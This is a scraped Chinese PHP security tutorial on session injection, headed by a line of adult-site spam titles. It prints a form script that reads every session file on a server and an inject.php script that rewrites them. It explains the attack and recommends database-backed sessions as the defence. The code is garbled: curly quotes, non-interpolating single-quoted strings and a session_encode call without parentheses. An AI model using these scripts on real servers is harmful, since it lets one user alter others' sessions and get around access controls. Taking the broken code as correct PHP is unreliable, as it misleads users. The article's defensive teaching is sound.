成人在线亚洲_国产日韩视频一区二区三区_久久久国产精品_99国内精品久久久久久久

您的位置:首頁技術文章
文章詳情頁

PHP安全-會話注入

瀏覽:120日期:2022-09-11 18:05:06
會話注入

一個與會話暴露類似的問題是會話注入。此類攻擊是基于你的WEB服務器除了對會話存儲目錄有讀取權限外,還有寫入權限。因此,存在著編寫一段允許其他用戶添加,編輯或刪除會話的腳本的可能。下例顯示了一個允許用戶方便地編輯已存在的會話數據的HTML表單:

<?php

session_start();

?>

<form action='inject.php' method='POST'>

<?php

$path = ini_get(’session.save_path’);

$handle = dir($path);

while ($filename = $handle->read())

{

if (substr($filename, 0, 5) == ’sess_’)

{

$sess_data = file_get_contents('$path/$filename');

if (!empty($sess_data))

{

session_decode($sess_data);

$sess_data = $_SESSION;

$_SESSION = array();

$sess_name = substr($filename, 5);

$sess_name = htmlentities($sess_name, ENT_QUOTES, ’UTF-8’);

echo '<h1>Session [$sess_name]</h1>';

foreach ($sess_data as $name => $value)

{

$name = htmlentities($name, ENT_QUOTES, ’UTF-8’);

$value = htmlentities($value, ENT_QUOTES, ’UTF-8’);

echo '<p>

$name:

<input type='text'

name='{$sess_name}[{$name}]'

value='$value' />

</p>';

}

echo ’<br />’;

}

}

}

$handle->close();

?>

<input type='submit' />

</form>

腳本inject.php執行由表單所指定的修改:

<?php

session_start();

$path = ini_get(’session.save_path’);

foreach ($_POST as $sess_name => $sess_data)

{

$_SESSION = $sess_data;

$sess_data = session_encode;

file_put_contents('$path/$sess_name', $sess_data);

}

$_SESSION = array();

?>

此類攻擊非常危險。攻擊者不僅可以編輯你的用戶的數據,還可以編輯他自己的會話數據。它比會話劫持更為強大,因為攻擊者能選擇所有的會話數據進行修改,從而使繞過訪問限制和其他安全手段成為可能。

針對這個問題的最好解決方案是將會話數據保存在數據庫中。參見前節所示。

標簽: PHP
相關文章: